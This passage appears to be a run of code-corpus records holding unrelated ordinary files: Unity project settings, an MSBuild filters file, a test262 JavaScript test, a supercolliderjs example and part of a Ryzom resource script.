allowedAutorotateToLandscapeLeft: 1\n useOSAutorotation: 1\n use32BitDisplayBuffer: 1\n disableDepthAndStencilBuffers: 0\n defaultIsFullScreen: 1\n defaultIsNativeResolution: 1\n runInBackground: 1\n captureSingleScreen: 0\n muteOtherAudioSources: 0\n Prepare IOS For Recording: 0\n deferSystemGesturesMode: 0\n hideHomeButton: 0\n submitAnalytics: 1\n usePlayerLog: 1\n bakeCollisionMeshes: 0\n forceSingleInstance: 0\n resizableWindow: 0\n useMacAppStoreValidation: 0\n macAppStoreCategory: public.app-category.games\n gpuSkinning: 0\n graphicsJobs: 0\n xboxPIXTextureCapture: 0\n xboxEnableAvatar: 0\n xboxEnableKinect: 0\n xboxEnableKinectAutoTracking: 0\n xboxEnableFitness: 0\n visibleInBackground: 0\n allowFullscreenSwitch: 1\n graphicsJobMode: 0\n macFullscreenMode: 2\n d3d9FullscreenMode: 1\n d3d11FullscreenMode: 1\n xboxSpeechDB: 0\n xboxEnableHeadOrientation: 0\n xboxEnableGuest: 0\n xboxEnablePIXSampling: 0\n n3dsDisableStereoscopicView: 0\n n3dsEnableSharedListOpt: 1\n n3dsEnableVSync: 0\n ignoreAlphaClear: 0\n xboxOneResolution: 0\n xboxOneSResolution: 0\n xboxOneXResolution: 3\n xboxOneMonoLoggingLevel: 0\n xboxOneLoggingLevel: 1\n videoMemoryForVertexBuffers: 0\n psp2PowerMode: 0\n psp2AcquireBGM: 1\n wiiUTVResolution: 0\n wiiUGamePadMSAA: 1\n wiiUSupportsNunchuk: 0\n wiiUSupportsClassicController: 0\n wiiUSupportsBalanceBoard: 0\n wiiUSupportsMotionPlus: 0\n wiiUSupportsProController: 0\n wiiUAllowScreenCapture: 1\n wiiUControllerCount: 0\n m_SupportedAspectRatios:\n 4:3: 1\n 5:4: 1\n 16:10: 1\n 16:9: 1\n Others: 1\n bundleVersion: 1.0\n preloadedAssets: []\n metroInputSource: 0\n m_HolographicPauseOnTrackingLoss: 1\n xboxOneDisableKinectGpuReservation: 0\n xboxOneEnable7thCore: 0\n vrSettings:\n cardboard:\n depthFormat: 0\n enableTransitionView: 0\n daydream:\n depthFormat: 0\n useSustainedPerformanceMode: 0\n hololens:\n depthFormat: 1\n protectGraphicsMemory: 0\n useHDRDisplay: 0\n applicationIdentifier:\n Android: com.Company.ProductName\n Standalone: unity.DefaultCompany.Packager\n Tizen: com.Company.ProductName\n iOS: com.Company.ProductName\n tvOS: com.Company.ProductName\n buildNumber:\n iOS: 0\n AndroidBundleVersionCode: 1\n AndroidMinSdkVersion: 16\n AndroidTargetSdkVersion: 0\n AndroidPreferredInstallLocation: 1\n aotOptions: \n stripEngineCode: 1\n iPhoneStrippingLevel: 0\n iPhoneScriptCallOptimization: 0\n ForceInternetPermission: 0\n ForceSDCardPermission: 0\n CreateWallpaper: 0\n APKExpansionFiles: 0\n keepLoadedShadersAlive: 0\n StripUnusedMeshComponents: 0\n VertexChannelCompressionMask:\n serializedVersion: 2\n m_Bits: 238\n iPhoneSdkVersion: 988\n iOSTargetOSVersionString: 6.0\n tvOSSdkVersion: 0\n tvOSRequireExtendedGameController: 0\n tvOSTargetOSVersionString: \n uIPrerenderedIcon: 0\n uIRequiresPersistentWiFi: 0\n uIRequiresFullScreen: 1\n uIStatusBarHidden: 1\n uIExitOnSuspend: 0\n uIStatusBarStyle: 0\n iPhoneSplashScreen: {fileID: 0}\n iPhoneHighResSplashScreen: {fileID: 0}\n iPhoneTallHighResSplashScreen: {fileID: 0}\n iPhone47inSplashScreen: {fileID: 0}\n iPhone55inPortraitSplashScreen: {fileID: 0}\n iPhone55inLandscapeSplashScreen: {fileID: 0}\n iPhone58inPortraitSplashScreen: {fileID: 0}\n iPhone58inLandscapeSplashScreen: {fileID: 0}\n iPadPortraitSplashScreen: {fileID: 0}\n iPadHighResPortraitSplashScreen: {fileID: 0}\n iPadLandscapeSplashScreen: {fileID: 0}\n iPadHighResLandscapeSplashScreen: {fileID: 0}\n appleTVSplashScreen: {fileID: 0}\n appleTVSplashScreen2x: {fileID: 0}\n tvOSSmallIconLayers: []\n tvOSSmallIconLayers2x: []\n tvOSLargeIconLayers: []\n tvOSTopShelfImageLayers: []\n tvOSTopShelfImageLayers2x: []\n tvOSTopShelfImageWideLayers: []\n tvOSTopShelfImageWideLayers2x: []\n iOSLaunchScreenType: 0\n iOSLaunchScreenPortrait: {fileID: 0}\n iOSLaunchScreenLandscape: {fileID: 0}\n iOSLaunchScreenBackgroundColor:\n serializedVersion: 2\n rgba: 0\n iOSLaunchScreenFillPct: 100\n iOSLaunchScreenSize: 100\n iOSLaunchScreenCustomXibPath: \n iOSLaunchScreeniPadType: 0\n iOSLaunchScreeniPadImage: {fileID: 0}\n iOSLaunchScreeniPadBackgroundColor:\n serializedVersion: 2\n rgba: 0\n iOSLaunchScreeniPadFillPct: 100\n iOSLaunchScreeniPadSize: 100\n iOSLaunchScreeniPadCustomXibPath: \n iOSDeviceRequirements: []\n iOSURLSchemes: []\n iOSBackgroundModes: 0\n iOSMetalForceHardShadows: 0\n metalEditorSupport: 1\n metalAPIValidation: 1\n iOSRenderExtraFrameOnPause: 1\n appleDeveloperTeamID: \n iOSManualSigningProvisioningProfileID: \n tvOSManualSigningProvisioningProfileID: \n appleEnableAutomaticSigning: 0\n AndroidTargetDevice: 0\n AndroidSplashScreenScale: 0\n androidSplashScreen: {fileID: 0}\n AndroidKeystoreName: \n AndroidKeyaliasName: \n AndroidTVCompatibility: 1\n AndroidIsGame: 1\n androidEnableBanner: 1\n m_AndroidBanners:\n - width: 320\n height: 180\n banner: {fileID: 0}\n androidGamepadSupportLevel: 0\n resolutionDialogBanner: {fileID: 0}\n m_BuildTargetIcons: []\n m_BuildTargetBatching: []\n m_BuildTargetGraphicsAPIs: []\n m_BuildTargetVRSettings: []\n openGLRequireES31: 0\n openGLRequireES31AEP: 0\n webPlayerTemplate: APPLICATION:Default\n m_TemplateCustomTags: {}\n wiiUTitleID: 0005000011000000\n wiiUGroupID: 00010000\n wiiUCommonSaveSize: 4096\n wiiUAccountSaveSize: 2048\n wiiUOlvAccessKey: 0\n wiiUTinCode: 0\n wiiUJoinGameId: 0\n wiiUJoinGameModeMask: 0000000000000000\n wiiUCommonBossSize: 0\n wiiUAccountBossSize: 0\n wiiUAddOnUniqueIDs: []\n wiiUMainThreadStackSize: 3072\n wiiULoaderThreadStackSize: 1024\n wiiUSystemHeapSize: 128\n wiiUTVStartupScreen: {fileID: 0}\n wiiUGamePadStartupScreen: {fileID: 0}\n wiiUDrcBufferDisabled: 0\n wiiUProfilerLibPath: \n playModeTestRunnerEnabled: 0\n actionOnDotNetUnhandledException: 1\n enableInternalProfiler: 0\n logObjCUncaughtExceptions: 1\n enableCrashReportAPI: 0\n cameraUsageDescription: \n locationUsageDescription: \n microphoneUsageDescription: \n switchNetLibKey: \n switchSocketMemoryPoolSize: 6144\n switchSocketAllocatorPoolSize: 128\n switchSocketConcurrencyLimit: 14\n switchScreenResolutionBehavior: 2\n switchUseCPUProfiler: 0\n switchApplicationID: 0x01004b9000490000\n switchNSODependencies: \n switchTitleNames_0: \n switchTitleNames_1: \n switchTitleNames_2: \n switchTitleNames_3: \n switchTitleNames_4: \n switchTitleNames_5: \n switchTitleNames_6: \n switchTitleNames_7: \n switchTitleNames_8: \n switchTitleNames_9: \n switchTitleNames_10: \n switchTitleNames_11: \n switchTitleNames_12: \n switchTitleNames_13: \n switchTitleNames_14: \n switchPublisherNames_0: \n switchPublisherNames_1: \n switchPublisherNames_2: \n switchPublisherNames_3: \n switchPublisherNames_4: \n switchPublisherNames_5: \n switchPublisherNames_6: \n switchPublisherNames_7: \n switchPublisherNames_8: \n switchPublisherNames_9: \n switchPublisherNames_10: \n switchPublisherNames_11: \n switchPublisherNames_12: \n switchPublisherNames_13: \n switchPublisherNames_14: \n switchIcons_0: {fileID: 0}\n switchIcons_1: {fileID: 0}\n switchIcons_2: {fileID: 0}\n switchIcons_3: {fileID: 0}\n switchIcons_4: {fileID: 0}\n switchIcons_5: {fileID: 0}\n switchIcons_6: {fileID: 0}\n switchIcons_7: {fileID: 0}\n switchIcons_8: {fileID: 0}\n switchIcons_9: {fileID: 0}\n switchIcons_10: {fileID: 0}\n switchIcons_11: {fileID: 0}\n switchIcons_12: {fileID: 0}\n switchIcons_13: {fileID: 0}\n switchIcons_14: {fileID: 0}\n switchSmallIcons_0: {fileID: 0}\n switchSmallIcons_1: {fileID: 0}\n switchSmallIcons_2: {fileID: 0}\n switchSmallIcons_3: {fileID: 0}\n switchSmallIcons_4: {fileID: 0}\n switchSmallIcons_5: {fileID: 0}\n switchSmallIcons_6: {fileID: 0}\n switchSmallIcons_7: {fileID: 0}\n switchSmallIcons_8: {fileID: 0}\n switchSmallIcons_9: {fileID: 0}\n switchSmallIcons_10: {fileID: 0}\n switchSmallIcons_11: {fileID: 0}\n switchSmallIcons_12: {fileID: 0}\n switchSmallIcons_13: {fileID: 0}\n switchSmallIcons_14: {fileID: 0}\n switchManualHTML: \n switchAccessibleURLs: \n switchLegalInformation: \n switchMainThreadStackSize: 1048576\n switchPresenceGroupId: \n switchLogoHandling: 0\n switchReleaseVersion: 0\n switchDisplayVersion: 1.0.0\n switchStartupUserAccount: 0\n switchTouchScreenUsage: 0\n switchSupportedLanguagesMask: 0\n switchLogoType: 0\n switchApplicationErrorCodeCategory: \n switchUserAccountSaveDataSize: 0\n switchUserAccountSaveDataJournalSize: 0\n switchApplicationAttribute: 0\n switchCardSpecSize: -1\n switchCardSpecClock: -1\n switchRatingsMask: 0\n switchRatingsInt_0: 0\n switchRatingsInt_1: 0\n switchRatingsInt_2: 0\n switchRatingsInt_3: 0\n switchRatingsInt_4: 0\n switchRatingsInt_5: 0\n switchRatingsInt_6: 0\n switchRatingsInt_7: 0\n switchRatingsInt_8: 0\n switchRatingsInt_9: 0\n switchRatingsInt_10: 0\n switchRatingsInt_11: 0\n switchLocalCommunicationIds_0: \n switchLocalCommunicationIds_1: \n switchLocalCommunicationIds_2: \n switchLocalCommunicationIds_3: \n switchLocalCommunicationIds_4: \n switchLocalCommunicationIds_5: \n switchLocalCommunicationIds_6: \n switchLocalCommunicationIds_7: \n switchParentalControl: 0\n switchAllowsScreenshot: 1\n switchAllowsVideoCapturing: 1\n switchDataLossConfirmation: 0\n switchSupportedNpadStyles: 3\n switchSocketConfigEnabled: 0\n switchTcpInitialSendBufferSize: 32\n switchTcpInitialReceiveBufferSize: 64\n switchTcpAutoSendBufferSizeMax: 256\n switchTcpAutoReceiveBufferSizeMax: 256\n switchUdpSendBufferSize: 9\n switchUdpReceiveBufferSize: 42\n switchSocketBufferEfficiency: 4\n switchSocketInitializeEnabled: 1\n switchNetworkInterfaceManagerInitializeEnabled: 1\n switchPlayerConnectionEnabled: 1\n ps4NPAgeRating: 12\n ps4NPTitleSecret: \n ps4NPTrophyPackPath: \n ps4ParentalLevel: 1\n ps4ContentID: ED1633-NPXX51362_00-0000000000000000\n ps4Category: 0\n ps4MasterVersion: 01.00\n ps4AppVersion: 01.00\n ps4AppType: 0\n ps4ParamSfxPath: \n ps4VideoOutPixelFormat: 0\n ps4VideoOutInitialWidth: 1920\n ps4VideoOutBaseModeInitialWidth: 1920\n ps4VideoOutReprojectionRate: 120\n ps4PronunciationXMLPath: \n ps4PronunciationSIGPath: \n ps4BackgroundImagePath: \n ps4StartupImagePath: \n ps4SaveDataImagePath: \n ps4SdkOverride: \n ps4BGMPath: \n ps4ShareFilePath: \n ps4ShareOverlayImagePath: \n ps4PrivacyGuardImagePath: \n ps4NPtitleDatPath: \n ps4RemotePlayKeyAssignment: -1\n ps4RemotePlayKeyMappingDir: \n ps4PlayTogetherPlayerCount: 0\n ps4EnterButtonAssignment: 1\n ps4ApplicationParam1: 0\n ps4ApplicationParam2: 0\n ps4ApplicationParam3: 0\n ps4ApplicationParam4: 0\n ps4DownloadDataSize: 0\n ps4GarlicHeapSize: 2048\n ps4ProGarlicHeapSize: 2560\n ps4Passcode: frAQBc8Wsa1xVPfvJcrgRYwTiizs2trQ\n ps4UseDebugIl2cppLibs: 0\n ps4pnSessions: 1\n ps4pnPresence: 1\n ps4pnFriends: 1\n ps4pnGameCustomData: 1\n playerPrefsSupport: 0\n restrictedAudioUsageRights: 0\n ps4UseResolutionFallback: 0\n ps4ReprojectionSupport: 0\n ps4UseAudio3dBackend: 0\n ps4SocialScreenEnabled: 0\n ps4ScriptOptimizationLevel: 3\n ps4Audio3dVirtualSpeakerCount: 14\n ps4attribCpuUsage: 0\n ps4PatchPkgPath: \n ps4PatchLatestPkgPath: \n ps4PatchChangeinfoPath: \n ps4PatchDayOne: 0\n ps4attribUserManagement: 0\n ps4attribMoveSupport: 0\n ps4attrib3DSupport: 0\n ps4attribShareSupport: 0\n ps4attribExclusiveVR: 0\n ps4disableAutoHideSplash: 0\n ps4videoRecordingFeaturesUsed: 0\n ps4contentSearchFeaturesUsed: 0\n ps4attribEyeToEyeDistanceSettingVR: 0\n ps4IncludedModules: []\n monoEnv: \n psp2Splashimage: {fileID: 0}\n psp2NPTrophyPackPath: \n psp2NPSupportGBMorGJP: 0\n psp2NPAgeRating: 12\n psp2NPTitleDatPath: \n psp2NPCommsID: \n psp2NPCommunicationsID: \n psp2NPCommsPassphrase: \n psp2NPCommsSig: \n psp2ParamSfxPath: \n psp2ManualPath: \n psp2LiveAreaGatePath: \n psp2LiveAreaBackroundPath: \n psp2LiveAreaPath: \n psp2LiveAreaTrialPath: \n psp2PatchChangeInfoPath: \n psp2PatchOriginalPackage: \n psp2PackagePassword: F69AzBlax3CF3EDNhm3soLBPh71Yexui\n psp2KeystoneFile: \n psp2MemoryExpansionMode: 0\n psp2DRMType: 0\n psp2StorageType: 0\n psp2MediaCapacity: 0\n psp2DLCConfigPath: \n psp2ThumbnailPath: \n psp2BackgroundPath: \n psp2SoundPath: \n psp2TrophyCommId: \n psp2TrophyPackagePath: \n psp2PackagedResourcesPath: \n psp2SaveDataQuota: 10240\n psp2ParentalLevel: 1\n psp2ShortTitle: Not Set\n psp2ContentID: IV0000-ABCD12345_00-0123456789ABCDEF\n psp2Category: 0\n psp2MasterVersion: 01.00\n psp2AppVersion: 01.00\n psp2TVBootMode: 0\n psp2EnterButtonAssignment: 2\n psp2TVDisableEmu: 0\n psp2AllowTwitterDialog: 1\n psp2Upgradable: 0\n psp2HealthWarning: 0\n psp2UseLibLocation: 0\n psp2InfoBarOnStartup: 0\n psp2InfoBarColor: 0\n psp2UseDebugIl2cppLibs: 0\n psmSplashimage: {fileID: 0}\n splashScreenBackgroundSourceLandscape: {fileID: 0}\n splashScreenBackgroundSourcePortrait: {fileID: 0}\n spritePackerPolicy: \n webGLMemorySize: 256\n webGLExceptionSupport: 1\n webGLNameFilesAsHashes: 0\n webGLDataCaching: 0\n webGLDebugSymbols: 0\n webGLEmscriptenArgs: \n webGLModulesDirectory: \n webGLTemplate: APPLICATION:Default\n webGLAnalyzeBuildSize: 0\n webGLUseEmbeddedResources: 0\n webGLUseWasm: 0\n webGLCompressionFormat: 1\n scriptingDefineSymbols: {}\n platformArchitecture:\n iOS: 2\n scriptingBackend:\n Android: 0\n Metro: 2\n Standalone: 0\n WP8: 2\n WebGL: 1\n WebPlayer: 0\n iOS: 1\n incrementalIl2cppBuild: {}\n additionalIl2CppArgs: \n apiCompatibilityLevelPerPlatform: {}\n m_RenderingPath: 1\n m_MobileRenderingPath: 1\n metroPackageName: Packager\n metroPackageVersion: \n metroCertificatePath: \n metroCertificatePassword: \n metroCertificateSubject: \n metroCertificateIssuer: \n metroCertificateNotAfter: 0000000000000000\n metroApplicationDescription: Packager\n wsaImages: {}\n metroTileShortName: \n metroCommandLineArgsFile: \n metroTileShowName: 0\n metroMediumTileShowName: 0\n metroLargeTileShowName: 0\n metroWideTileShowName: 0\n metroDefaultTileSize: 1\n metroTileForegroundText: 1\n metroTileBackgroundColor: {r: 0, g: 0, b: 0, a: 1}\n metroSplashScreenBackgroundColor: {r: 0, g: 0, b: 0, a: 1}\n metroSplashScreenUseBackgroundColor: 0\n platformCapabilities: {}\n metroFTAName: \n metroFTAFileTypes: []\n metroProtocolName: \n metroCompilationOverrides: 1\n tizenProductDescription: \n tizenProductURL: \n tizenSigningProfileName: \n tizenGPSPermissions: 0\n tizenMicrophonePermissions: 0\n tizenDeploymentTarget: \n tizenDeploymentTargetType: -1\n tizenMinOSVersion: 1\n n3dsUseExtSaveData: 0\n n3dsCompressStaticMem: 1\n n3dsExtSaveDataNumber: 0x12345\n n3dsStackSize: 131072\n n3dsTargetPlatform: 2\n n3dsRegion: 7\n n3dsMediaSize: 0\n n3dsLogoStyle: 3\n n3dsTitle: GameName\n n3dsProductCode: \n n3dsApplicationId: 0xFF3FF\n stvDeviceAddress: \n stvProductDescription: \n stvProductAuthor: \n stvProductAuthorEmail: \n stvProductLink: \n stvProductCategory: 0\n XboxOneProductId: \n XboxOneUpdateKey: \n XboxOneSandboxId: \n XboxOneContentId: \n XboxOneTitleId: \n XboxOneSCId: \n XboxOneGameOsOverridePath: \n XboxOnePackagingOverridePath: \n XboxOneAppManifestOverridePath: \n XboxOnePackageEncryption: 0\n XboxOnePackageUpdateGranularity: 2\n XboxOneDescription: \n XboxOneLanguage:\n - enus\n XboxOneCapability: []\n XboxOneGameRating: {}\n XboxOneIsContentPackage: 0\n XboxOneEnableGPUVariability: 0\n XboxOneSockets: {}\n XboxOneSplashScreen: {fileID: 0}\n XboxOneAllowedProductIds: []\n XboxOnePersistentLocalStorageSize: 0\n xboxOneScriptCompiler: 0\n vrEditorSettings:\n daydream:\n daydreamIconForeground: {fileID: 0}\n daydreamIconBackground: {fileID: 0}\n cloudServicesEnabled: {}\n facebookSdkVersion: 7.9.1\n apiCompatibilityLevel: 2\n cloudProjectId: \n projectName: \n organizationId: \n cloudEnabled: 0\n enableNewInputSystem: 0\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n <ItemGroup>\n <Filter Include=\"Configuration Files\">\n <UniqueIdentifier>{d211bc9c-51d0-4c83-8f87-4c74eac791df}</UniqueIdentifier>\n </Filter>\n <Filter Include=\"Source Files\">\n <UniqueIdentifier>{64ea0e62-6a82-44c3-a455-a474613c44ea}</UniqueIdentifier>\n </Filter>\n <Filter Include=\"Header Files\">\n <UniqueIdentifier>{bba63a1e-3416-4f02-878d-801fdc4d0967}</UniqueIdentifier>\n </Filter>\n </ItemGroup>\n <ItemGroup>\n <None Include=\"cpspc.properties\">\n <Filter>Configuration Files</Filter>\n </None>\n </ItemGroup>\n <ItemGroup>\n <ClCompile Include=\"src\\ApacheCodeWriter.cpp\">\n <Filter>Source Files</Filter>\n </ClCompile>\n <ClCompile Include=\"src\\CodeWriter.cpp\">\n <Filter>Source Files</Filter>\n </ClCompile>\n <ClCompile Include=\"src\\OSPCodeWriter.cpp\">\n <Filter>Source Files</Filter>\n </ClCompile>\n <ClCompile Include=\"src\\Page.cpp\">\n <Filter>Source Files</Filter>\n </ClCompile>\n <ClCompile Include=\"src\\PageCompiler.cpp\">\n <Filter>Source Files</Filter>\n </ClCompile>\n <ClCompile Include=\"src\\PageReader.cpp\">\n <Filter>Source Files</Filter>\n </ClCompile>\n </ItemGroup>\n <ItemGroup>\n <ClInclude Include=\"src\\ApacheCodeWriter.h\">\n <Filter>Header Files</Filter>\n </ClInclude>\n <ClInclude Include=\"src\\CodeWriter.h\">\n <Filter>Header Files</Filter>\n </ClInclude>\n <ClInclude Include=\"src\\OSPCodeWriter.h\">\n <Filter>Header Files</Filter>\n </ClInclude>\n <ClInclude Include=\"src\\Page.h\">\n <Filter>Header Files</Filter>\n </ClInclude>\n <ClInclude Include=\"src\\PageReader.h\">\n <Filter>Header Files</Filter>\n </ClInclude>\n </ItemGroup>\n</Project>"} {"text": "// This file was procedurally generated from the following sources:\n// - src/arguments/args-trailing-comma-null.case\n// - src/arguments/default/cls-decl-async-private-gen-meth.template\n/*---\ndescription: A trailing comma after null should not increase the arguments.length (static class declaration private generator method)\nesid: sec-argument-lists-runtime-semantics-argumentlistevaluation\nfeatures: [async-iteration, class, class-methods-private]\nflags: [generated, async]\ninfo: |\n ClassDeclaration : class BindingIdentifier ClassTail\n\n 1. Let className be StringValue of BindingIdentifier.\n 2. Let value be the result of ClassDefinitionEvaluation of ClassTail with\n argument className.\n [...]\n\n 14.5.14 Runtime Semantics: ClassDefinitionEvaluation\n\n 21. For each ClassElement m in order from methods\n a. If IsStatic of m is false, then\n i. Let status be the result of performing\n PropertyDefinitionEvaluation for m with arguments proto and\n false.\n [...]\n\n Runtime Semantics: PropertyDefinitionEvaluation\n\n AsyncGeneratorMethod :\n async [no LineTerminator here] * PropertyName ( UniqueFormalParameters )\n { AsyncGeneratorBody }\n\n 1. Let propKey be the result of evaluating PropertyName.\n 2. ReturnIfAbrupt(propKey).\n 3. If the function code for this AsyncGeneratorMethod is strict mode code, let strict be true.\n Otherwise let strict be false.\n 4. Let scope be the running execution context's LexicalEnvironment.\n 5. Let closure be ! AsyncGeneratorFunctionCreate(Method, UniqueFormalParameters,\n AsyncGeneratorBody, scope, strict).\n [...]\n\n\n Trailing comma in the arguments list\n\n Left-Hand-Side Expressions\n\n Arguments :\n ( )\n ( ArgumentList )\n ( ArgumentList , )\n\n ArgumentList :\n AssignmentExpression\n ... AssignmentExpression\n ArgumentList , AssignmentExpression\n ArgumentList , ... AssignmentExpression\n---*/\n\nvar callCount = 0;\nclass C {\n async * #method() {\n assert.sameValue(arguments.length, 2);\n assert.sameValue(arguments[0], 42);\n assert.sameValue(arguments[1], null);\n callCount = callCount + 1;\n }\n\n get method() {\n return this.#method;\n }\n}\n\nnew C().method(42, null,).next().then(() => {\n assert.sameValue(callCount, 1, 'method invoked exactly once');\n}).then($DONE, $DONE);\n"} {"text": "const sc = require(\"supercolliderjs\");\n\nfunction makePyramid(lang) {\n lang.interpret(\"(1..8).pyramid\").then(\n function(result) {\n // result is a native javascript array\n console.log(\"= \" + result);\n lang.quit();\n },\n function(error) {\n // syntax or runtime errors\n // are returned as javascript objects\n console.error(error);\n },\n );\n}\n\n// Verbose example to show Promises and full error handling\nsc.lang.boot().then(\n // ok booted\n lang => {\n makePyramid(lang);\n },\n // failed to boot\n error => {\n console.error(error);\n // Either:\n // 1. The executable may be missing, incorrect path etc.\n // 2. The class library may have failed with compile errors\n },\n);\n"} {"text": "//Microsoft Developer Studio generated resource script.\r\n//\r\n#include \"resource.h\"\r\n\r\n#define APSTUDIO_READONLY_SYMBOLS\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Generated from the TEXTINCLUDE 2 resource.\r\n//\r\n#include <windows.h>\r\n#include \"config.h\"\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n#undef APSTUDIO_READONLY_SYMBOLS\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n// English (U.S.) resources\r\n\r\n#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)\r\n#ifdef _WIN32\r\nLANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US\r\n#pragma code_page(1252)\r\n#endif //_WIN32\r\n\r\n#ifdef APSTUDIO_INVOKED\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// TEXTINCLUDE\r\n//\r\n\r\n1 TEXTINCLUDE DISCARDABLE\r\nBEGIN\r\n \"resource.h\\0\"\r\nEND\r\n\r\n2 TEXTINCLUDE DISCARDABLE\r\nBEGIN\r\n \"#include \"\"afxres.h\"\"\\r\\n\"\r\n \"\\0\"\r\nEND\r\n\r\n3 TEXTINCLUDE DISCARDABLE\r\nBEGIN\r\n \"\\r\\n\"\r\n \"\\0\"\r\nEND\r\n\r\n#endif // APSTUDIO_INVOKED\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Icon\r\n//\r\n\r\n// Icon with lowest ID value placed first to ensure application icon\r\n// remains consistent on all systems.\r\nIDI_MAIN_ICON ICON DISCARDABLE \"ryzom.ico\"\r\n#endif // English (U.S.) resources\r\n/////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n// French (France) resources\r\n\r\n#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_FRA)\r\n#ifdef _WIN32\r\nLANGUAGE LANG_FRENCH, SUBLANG_FRENCH\r\n#pragma code_page(1252)\r\n#endif //_WIN32\r\n\r\n#define IDC_STATIC -1\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Dialog\r\n//\r\n\r\nIDD_SLASH_SCREEN DIALOGEX 0, 0, 333, 231\r\nSTYLE WS_POPUP\r\nEXSTYLE WS_EX_TOOLWINDOW\r\nFONT 8, \"MS Sans Serif\", 0, 0, 0x1\r\nBEGIN\r\n CONTROL 117,IDC_STATIC,\"Static\",SS_BITMAP,0,0,333,231\r\nEND\r\n\r\nIDD_CRASH_INFORMATION DIALOG DISCARDABLE 0, 0, 186, 301\r\nSTYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION\r\nCAPTION \"Ryzom information\"\r\nFONT 8, \"MS Sans Serif\"\r\nBEGIN\r\n LTEXT \"Ryzom has detected that the last game session has not quit properly. You have experienced :\",\r\n IDC_STATIC,7,7,172,27\r\n PUSHBUTTON \"A computer freeze.\",FROZEN,7,38,172,29\r\n PUSHBUTTON \"A computer self reboot.\",REBOOTED,7,70,172,29\r\n PUSHBUTTON \"A game crash with a NeL report window.\",WINDOWED,7,102,\r\n 172,29,BS_MULTILINE\r\n PUSHBUTTON \"A game crash without NeL report window.\",NO_WINDOW,7,\r\n 134,172,29,BS_MULTILINE\r\n PUSHBUTTON \"You killed the game process using the task manager.\",\r\n KILLED,7,166,172,29,BS_MULTILINE\r\n PUSHBUTTON \"Nothing wrong. The game quit normally.\",NOT_CRASHED,7,\r\n 198,172,29\r\n PUSHBUTTON \"You don't remember what's happened\",CRASHED,7,231,172,\r\n 29\r\n LTEXT \"If you experience lot of crash, please try to do a data check. Press the \"\"Check Data\"\" button at Login Screen.\",\r\n IDC_STATIC,5,270,175,25\r\nEND\r\n\r\nIDD_ERROR_HELP_MESSAGE_BOX DIALOGEX 0, 0, 373, 81\r\nSTYLE DS_MODALFRAME | WS_CAPTION | WS_SYSMENU\r\nCAPTION \"Ryzom\"\r\nFONT 8, \"MS Sans Serif\"\r\nBEGIN\r\n DEFPUSHBUTTON \"Exit\",IDOK,85,57,89,21\r\n PUSHBUTTON \"Help\",IDC_RYZOM_ERROR_HELP,178,57,92,21\r\n LTEXT \"Static\",IDC_ERROR_MSG_TEXT,143,7,228,47,0,\r\n WS_EX_CLIENTEDGE\r\n CONTROL 128,IDC_STATIC,\"Static\",SS_BITMAP,7,7,70,63\r\nEND\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// DESIGNINFO\r\n//\r\n\r\n#ifdef APSTUDIO_INVOKED\r\nGUIDELINES DESIGNINFO DISCARDABLE\r\nBEGIN\r\n IDD_SLASH_SCREEN, DIALOG\r\n BEGIN\r\n LEFTMARGIN, 7\r\n RIGHTMARGIN, 326\r\n TOPMARGIN, 7\r\n BOTTOMMARGIN, 224\r\n END\r\n\r\n IDD_CRASH_INFORMATION, DIALOG\r\n BEGIN\r\n LEFTMARGIN, 7\r\n RIGHTMARGIN, 179\r\n TOPMARGIN, 7\r\n BOTTOMMARGIN, 294\r\n END\r\n\r\n IDD_ERROR_HELP_MESSAGE_BOX, DIALOG\r\n BEGIN\r\n LEFTMARGIN, 7\r\n RIGHTMARGIN, 366\r\n TOPMARGIN, 7\r\n BOTTOMMARGIN, 74\r\n END\r\nEND\r\n#endif // APSTUDIO_INVOKED\r\n\r\n\r\n/////////////////////////////////////////////////////////////////////////////\r\n//\r\n// Bitmap\r\n//\r\n\r\nIDB_SLASH_SCREEN BITMAP DISCARDABLE \"splash_screen.bmp\"\r\nIDB_ERROR_LOGO BITMAP DISCARDABLE \"error_logo.bmp\"\r\n#endif // French (France) resources\r\n/////////////////////////////////////////////////////////////////////////////\r\n\r\nVS_VERSION_INFO VERSIONINFO\r\nFILEVERSION RYZOM_VERSION_RC\r\nPRODUCTVERSION NL_VERSION_RC\r\nFILEFLAGSMASK VS_FFI_FILEFLAGSMASK\r\n#ifdef _DEBUG\r\nFILEFLAGS VS_FF_DEBUG\r\n#else\r\nFILEFLAGS 0x0L\r\n#endif\r\nFILEOS VOS__WINDOWS32\r\nFILETYPE VFT_APP\r\nFILESUBTYPE 0x0L\r\nBEGIN\r\n BLOCK \"StringFileInfo\"\r\n BEGIN\r\n BLOCK \"040904b0\"\r\n BEGIN\r\n VALUE \"FileDescription\", \"Ryzom client\"\r\n VALUE \"FileVersion\", RYZOM_VERSION\r\n VALUE \"LegalCopyright\", COPYRIGHT\r\n#if defined(FINAL_VERSION) && (FINAL_VERSION == 1)\r\n#ifdef _DEBUG\r\n VALUE \"OriginalFilename\", \"ryzom_client_d.exe\"\r\n#else\r\n VALUE \"OriginalFilename\", \"ryzom_client_r.exe\"\r\n#endif\t\t\t\r\n#else\r\n#ifdef _DEBUG\r\n VALUE \"OriginalFilename\", \"ryzom_client_dev_d.exe\"\r\n#else\r\n VALUE \"OriginalFilename\", \"ryzom_client_dev_r.exe\"\r\n#endif\t\t\t\r\n#endif\r\n VALUE \"ProductName\", \"Ryzom Core\"\r\n VALUE \"ProductVersion\", NL_VERSION\r\n END\r\n END\r\n BLOCK \"VarFileInfo\"\r\n BEGIN\r\n VALUE \"Translation\", 0x409, 1252\r\n END\r\nEND\r\n\r\n\r\n\r\n#ifndef 